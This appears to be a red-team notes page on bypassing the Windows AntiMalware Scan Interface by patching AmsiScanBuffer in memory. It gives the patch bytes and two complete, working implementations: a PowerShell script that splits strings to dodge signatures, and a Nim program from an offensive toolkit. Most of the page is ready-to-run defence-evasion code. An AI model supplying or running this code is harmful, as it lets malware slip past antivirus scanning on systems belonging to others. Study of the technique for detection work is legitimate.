AMSI #
This is the Windows AntiMalware Scan Interface. This is basically an interface for scanning file, processes, and more that can then be used by Windows Defender or other antivirus products.
  Patching AmsiScanBuffer
  #
It might be as easy as patching the AmsiScanBuffer function provided by amsi.dll to return false.
The basic process here is:
- Use 
LoadLibraryto readamsi.dllfrom disk into a known variable handle. - Use 
GetProcAddressto identify the address of theAmsiScanBufferfunction. Sinceamsi.dllshould have already been loaded into the process at process start, this should be the address to the function already active in memory. - Use 
VirtualProtectto make the memory containing theAmsiScanBufferfunction writable (0x40 ==PAGE_EXECUTE_READWRITE). - Just copy over the byte code for a simple replacement function.
 
Replacement function:
b8 57 00 07 80          mov    eax,0x80070057 # AMSI_RESULT_CLEAN
c3                      ret
This replacement function is just two asm calls that push AMSI_RESULT_CLEAN into eax and return. This makes any call to AmsiScanBuffer succeed as if the file was clean.
Powershell #
In powershell, patching AmsiScanBuffer basically means calling out to a little C# code to do the heavy work of calling Win32 APIs to patch the function in the current process.
Example
# Credit: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Source: amsi_powershell_rasta.ps1
References:
Nim #
Example
#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
    Credit: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
]#
import winim/lean
import strformat
import dynlib
when defined amd64:
    echo "[*] Running in x64 process"
    const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
elif defined i386:
    echo "[*] Running in x86 process"
    const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]
proc PatchAmsi(): bool =
    var
        amsi: LibHandle
        cs: pointer
        op: DWORD
        t: DWORD
        disabled: bool = false
    # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
    # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
    amsi = loadLib("amsi")
    if isNil(amsi):
        echo "[X] Failed to load amsi.dll"
        return disabled
    cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
    if isNil(cs):
        echo "[X] Failed to get the address of 'AmsiScanBuffer'"
        return disabled
    if VirtualProtect(cs, patch.len, 0x40, addr op):
        echo "[*] Applying patch"
        copyMem(cs, unsafeAddr patch, patch.len)
        VirtualProtect(cs, patch.len, op, addr t)
        disabled = true
    return disabled
when isMainModule:
    var success = PatchAmsi()
    echo fmt"[*] AMSI disabled: {bool(success)}"
Source: amsi_nim_offensivenim.nim